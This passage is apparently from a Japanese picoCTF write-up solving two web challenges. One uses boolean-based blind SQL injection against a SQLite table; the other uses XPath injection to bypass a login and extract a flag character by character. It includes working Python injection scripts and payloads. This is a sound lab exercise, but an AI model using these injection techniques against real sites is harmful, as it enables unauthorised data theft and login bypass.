という値も一緒に送る必要があるみたいで、この値は index.php
をGETした時に表示されているのでそこから取ります。
import requests from bs4 import BeautifulSoup url = 'http://mercury.picoctf.net:49884/index.php' c_url = 'http://mercury.picoctf.net:49884/contribute.php' cookies = dict(PHPSESSID='{my_cookie}') # get captcha res = requests.get(url, cookies=cookies) soup = BeautifulSoup(res.text, 'html.parser') captcha = int(soup.find_all(id='captcha')[0]['value']) # contribute data = {'captcha':captcha, 'moneys':"attack query"} res = requests.post(c_url, cookies=cookies, data=data) print(res.text)
こんな感じ。attack query
に 'or 1==1--
を入れるとレスポンスの金額に $1 が、 'or 1==0--
を入れると $0 が返ってきたので効いてるっぽい!
contributeの金額を表示するようにしているなら、intしか表示されなさそうなので、intを返すクエリでの攻撃ができそう。が、数がそのまま表示されるのではなく、trueなら1, falseなら0, 0以外の数は1, 0のときだけ0、みたいな返り方な気がする。
これはboolean-based or error-based injectionするしかなさそう。しかしtable名もカラム名も何もない。
まずは、table数を確認するクエリを組み立ててみます。
'or (select count(*) from sqlite_master where type='table' == 1);--
結果は
$1
すなわちtable数は1個っぽい。==2
以上を入れてみると $0
が返ってきたので確定で良さそう。なんだか解けそうな気がしてきました!
次に必要なのはtable名。moneyに下記を入れて Boolean-based SQL injectionします。
data = {'captcha':captcha, 'moneys':"'or (select count(*) from sqlite_master where type='table' and name like '" + c + "%' == 1);--"}
full code (基本このあとの攻撃もこのコードを使いまわし)
import requests import string from bs4 import BeautifulSoup url = 'http://mercury.picoctf.net:49884/index.php' c_url = 'http://mercury.picoctf.net:49884/contribute.php' cookies = dict(PHPSESSID='{my_cookie}') candidates = string.digits + string.ascii_letters + '{}_-@!$+.?%' def challenge(c): # get captcha res = requests.get(url, cookies=cookies) soup = BeautifulSoup(res.text, 'html.parser') captcha = int(soup.find_all(id='captcha')[0]['value']) # contribute data = {'captcha':captcha, 'moneys':"'or (select count(*) from sqlite_master where type='table' and name like '" + c + "%' == 1);--"} res = requests.post(c_url, cookies=cookies, data=data) soup = BeautifulSoup(res.text, 'html.parser') result = soup.find('h6').get_text().split('$')[1] if result == '1': return True else: return False table_name = '' for i in range(20): for c in candidates: print(table_name+c) ret = challenge(table_name+c) if ret: table_name += c break print(table_name)
結果
startup_users
よっしゃ!table名が抜けました👍
次はカラム数。
data = {'captcha':captcha, 'moneys':"'or (select count(*) from PRAGMA_TABLE_INFO('startup_users')) == 3;--"}
これで $1
が返ってきたので、カラム数は3。
次はカラム名。一つはあてずっぽで入れた money
が有効だったので、残り2つのカラム名を当てたい。
data = {'captcha':captcha, 'moneys':"'or (select count(*) from PRAGMA_TABLE_INFO('startup_users') where name like '" + c + "%' != 0);--"}
一回目に回したら見事にmoney
を引いたので、一個目がm
になるのはパス。二個目はnameuser
だったので3回目は同様にn
から始まるものも弾いた。
money, nameuser, wordpass
username と password は試してたんだけどなぁ!!!guessだけでは難しかったかもしれん。
ここから、nameuserで怪しいやつを引き当てて、そいつのwordpassを抜けば良さそう。一応admin
がいるか確認してみる。
data = {'captcha':captcha, 'moneys':"'or (select count(*) from startup_users where nameuser=='admin') != 0;--"}
$1
返ってきた。adminいるわ。
adminのpasswordを抜いてみます。
data = {'captcha':captcha, 'moneys':"'or ((select count(*) from startup_users where nameuser=='admin' and wordpass like '" + c + "%') != 0);--"}
実行結果
admin
あれ?
試しにadmin
で入ってみたらpassadmin
で入れた…。アプローチが違ったっぽい。
こうなったら10レコードしかないみたいなので、wordpassをさっきと同じ方法で総当りするか!
…と思ったけど、もうこれflagっぽいので、picoCTF
から始まるものを探すことに。出だしで{
がhitしたので勝利を確信。
data = {'captcha':captcha, 'moneys':"'or ((select count(*) from startup_users where wordpass like '" + c + "%') != 0);--"}
実行結果
picoCTF{1_c4nn0t_s33_y0u_104764a5}%
🙌
今思えば大文字小文字区別されないから、大文字は候補の文字列に加えなくてよかったな…。
あと、他にもboolean sql injectionあったから、もしかしたらもっと楽に解けたのかもしれない。
X marks the spot
Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:59946/
タイトルとヒントによると、これはXPATH injection というジャンルらしい。
いくつか記事を漁ってみました。
- XPATH injection - HackTricks
- 詳細とクエリの組み立て例が載っている。
- XPath盲注简介_WEB安全测试学习中……-CSDN博客
- 中国語だけどここも参考になりそう。
- 第18回 XPathインジェクション(その3):なぜPHPアプリにセキュリティホールが多いのか?|gihyo.jp … 技術評論社
- 日本語サイト
- XPATH Injection Software Attack | OWASP Foundation
- OWASPのページ
軽く眺めてから、対象サイトのソースを見てみると、こんな詩がコメントで書いてある。何か意味があるのかな?
Two roads diverged in a yellow wood, And sorry I could not travel both And be one traveler, long I stood And looked down one as far as I could To where it bent in the undergrowth;
Then took the other, as just as fair, And having perhaps the better claim, Because it was grassy and wanted wear; Though as for that the passing there Had worn them really about the same,
And both that morning equally lay In leaves no step had trodden black. Oh, I kept the first for another day! Yet knowing how way leads on to way, I doubted if I should ever come back.
I shall be telling this with a sigh Somewhere ages and ages hence: Two roads diverged in a wood, and I— I took the one less traveled by, And that has made all the difference. -Robert Frost
ぜんぜんわからない。
詩は置いておいて、さっき参考にしたサイトの最後のOWASPに出てきていた事例
name: blah' or 1=1 or 'a'='a pass: blah
をそのまま突っ込んでみると、なんとログインできた👍
Yay🙌 I'm on the right track!
さて、きっと目標はadminのpasswordを得ること。表示はloginの成功 or 失敗で確認できるので、Startup Company と同じくBoolean injectionが使えそう。Boolean-based XPATH injection?
さっきので、こんな感じのクエリになっていると想像。テーブル名とかは適当。
先述のクエリは、AND
の結合が優先されるので、OR
を2つ書くと評価の順序が下記のようにになるという性質を利用しているらしい。
Original: //Users[UserName/text()='username' And Password/text()='password'] Attack Query: //Users[UserName/text()='blah' or 1=1 or 'a'='a' And Password/text()='blah'] Logically: //Users[(UserName/text()='blah' or 1=1) or ('a'='a' And Password/text()='blah')]
まずは username='admin'がいるかを確認したい。
name: admin' and 1=1 or 'a'='a pass: test
通った。adminいるっぽい。
次は、table名とかpasswordのカラム名を知りたい。少なくともカラム名がないとinjectionコードが書けない。
カラム名がわかったら、length調査して、substring使ってpasswordをblind injectionできそう。
name = "admin' and string-length(//*[position()=1]/child::node()[position()=1])=" + str(l) + " or 'a'='a"
名前がわからないnodeに対してこんな感じでやってみると、このときのl
=2になった。何かの長さが2らしい。idとか?とりあえずこのクエリが刺さったので、手当り次第試してみる。
child::node()[position()=1 -> 2 child::node()[position()=2 child::node()[position()=3 -> 4 child::node()[position()=4 -> 18 child::node()[position()=5 -> 4 child::node()[position()=6 child::node()[position()=7 -> 3 child::node()[position()=8 -> child::node()[position()=9 -> 3 child::node()[position()=10 child::node()[position()=11 -> 2 child::node()[position()=12 -> 0
なんかようわからんけど、レコードが11個あって、それぞれのposition=1
の値の長さがいま出てきたやつってことなのかな?hitしなかったやつはなんだろう?試したrangeがちいさかった?
<data> <user> <name>pepe</name> <password>peponcio</password> <account>admin</account> </user> <user> <name>mark</name> <password>m12345</password> <account>regular</account> </user> <user> <name>fino</name> <password>fino2</password> <account>regular</account> </user> </data>
こんなレコードだったと仮定して、
//*
で取ってきているのは"Selects all elements in the document"なので、user, name, password, account
[position()=1]
で指定しているのが、その中のどれに当たるか/child::node()[position()=1]
で指定しているのがそのなかの1つ目のレコード
ってなってそう。
クエリを色々試すうちに
name = "admin' and string-length(//user[position()=1]/child::node()[position()=4])=" + str(l) + " or 'a'='a"
このクエリも意味のあるものが返ってくることがわかったので、user
というelementは存在するらしい!ありがたい!
上記のクエリのpositionを下記のように変えて返ってくる値を調査。
[1,1] -> 4 [1,2] -> 5 [1,3] -> 4 [1,4] -> 16 [1,5] -> 3 [1,6] -> 0 --- [2,1] -> 4 [2,2] -> 3 [2,3] -> 4 [2,4] -> 22 [2,5] -> 3 [2,6] -> 0 --- [3,1] -> 4 [3,2] -> 5 [3,3] -> 4 [3,4] -> 50 [3,5] -> 3 [3,6] -> 0 --- [4,1] -> 0
どう考えても4個目のレコードが怪しく、3つ目のフィールドが長さ的にflagっぽい。
1文字ずつ4個目のレコードの3つ目のelementをblind injectionで探していく。
import requests import string url = 'http://mercury.picoctf.net:59946/' candidates = string.ascii_letters + string.digits + '{}_-@!$+.?%' def login(name, pw): data = {'name':name, 'pass':pw} res = requests.post(url, data=data) if 'Login failure.' in res.text: return False elif "on the right path." in res.text: return True else: print('----------------Unusual Response.-----------------') print(res.text) return False flag = 'picoCTF{' pw = 'password' while True: for c in candidates: name = "admin' and substring((//user[position()=3]/child::node()[position()=4])," + str(len(flag)+1) + ",1)=" + '"' + c + '"' + " or 'a'='a" if login(name, pw): flag += c print(flag) if c == '}': print(flag) exit(0) break
実行結果
$ python solve.py picoCTF{h picoCTF{h0 picoCTF{h0p picoCTF{h0p3 picoCTF{h0p3f picoCTF{h0p3fu picoCTF{h0p3ful picoCTF{h0p3full picoCTF{h0p3fully picoCTF{h0p3fully_ picoCTF{h0p3fully_u picoCTF{h0p3fully_u_ picoCTF{h0p3fully_u_t picoCTF{h0p3fully_u_t0 picoCTF{h0p3fully_u_t0o picoCTF{h0p3fully_u_t0ok picoCTF{h0p3fully_u_t0ok_ picoCTF{h0p3fully_u_t0ok_t picoCTF{h0p3fully_u_t0ok_th picoCTF{h0p3fully_u_t0ok_th3 picoCTF{h0p3fully_u_t0ok_th3_ picoCTF{h0p3fully_u_t0ok_th3_r picoCTF{h0p3fully_u_t0ok_th3_r1 picoCTF{h0p3fully_u_t0ok_th3_r1g picoCTF{h0p3fully_u_t0ok_th3_r1gh picoCTF{h0p3fully_u_t0ok_th3_r1ght picoCTF{h0p3fully_u_t0ok_th3_r1ght_ picoCTF{h0p3fully_u_t0ok_th3_r1ght_x picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4 picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4t picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_ picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a5 picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56 picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a560 picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a5601 picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016 picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016e picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016ef picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016ef} picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016ef}
🙌